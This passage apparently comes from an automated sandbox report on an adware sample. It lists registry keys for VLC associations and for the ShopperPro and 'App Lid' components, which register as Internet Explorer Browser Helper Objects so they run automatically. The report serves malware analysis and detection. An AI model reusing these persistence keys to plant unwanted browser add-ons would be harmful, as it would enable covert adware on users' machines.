"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe %1"

[HKCR\VLC.aifc\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CUE" = ""

[HKCR\VLC.wma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\shell]
"(Default)" = "Open"

[HKCR\VLC.mpc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.caf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3ga" = ""

[HKCR\DVD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp" = ""

[HKCR\VLC.xm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell]
"(Default)" = "Open"

[HKCR\VLC.DVDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"UninstallString" = "%Program Files% (x86)\VideoLAN\VLC\uninstall.exe"

[HKCR\VLC.mpeg2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.caf\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ram" = ""

[HKCR\VLC.snd\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\.mp1]
"(Default)" = "VLC.mp1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U8" = "VLC.m3u8"

[HKCR\VLC.wmv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.voc]
"(Default)" = "VLC.voc"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKCR\VLC.nuv\shell\Open]
"(Default)" = "Play"

[HKCR\.m3u]
"(Default)" = "VLC.m3u"

[HKCR\VLC.mp3]
"(Default)" = "VLC media file (.mp3)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKCR\VLC.vlc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mov\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeProgID" = "VLC.SVCDMovie"

[HKCR\.pls]
"VLC.backup" = "PerlScriptFile"

[HKCR\VLC.mov\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe]
"(Default)" = "VLC media file (.mpe)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mka\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rm]
"(Default)" = "VLC media file (.rm)"

[HKCR\VLC.snd\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rec\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4v" = "VLC.mp4v"

[HKCR\.caf]
"(Default)" = "VLC.caf"

[HKCR\VLC.a52\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xspf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wav\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma]
"(Default)" = "VLC media file (.oma)"

[HKCR\VLC.VCDMovie]
"(Default)" = "VLC VCD Movie"

[HKCR\VLC.dts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg" = ""

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.mod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell]
"(Default)" = "Open"

The process regsvr32.exe:2308 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:2568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}]
"(Default)" = "ISandBox"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"NoExplorer" = "1"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}]
"(Default)" = "ICrossriderBHO"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "App Lid"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"Version" = "1.0"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}]
"(Default)" = "ICrossriderBHO"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743 Type Library"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}]
"(Default)" = "ISandBox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\App Lid"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"Version" = "1.0"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\Programmable]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Programmable]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]

The process regsvr32.exe:3648 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"ThreadingModel" = "Apartment"
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
"(Default)" = ""

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "App Lid"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\0\win64]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

"NoExplorer" = "1"

The Application deletes the following registry key(s):

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\Programmable]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Programmable]

The process lspinst.exe:3584 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
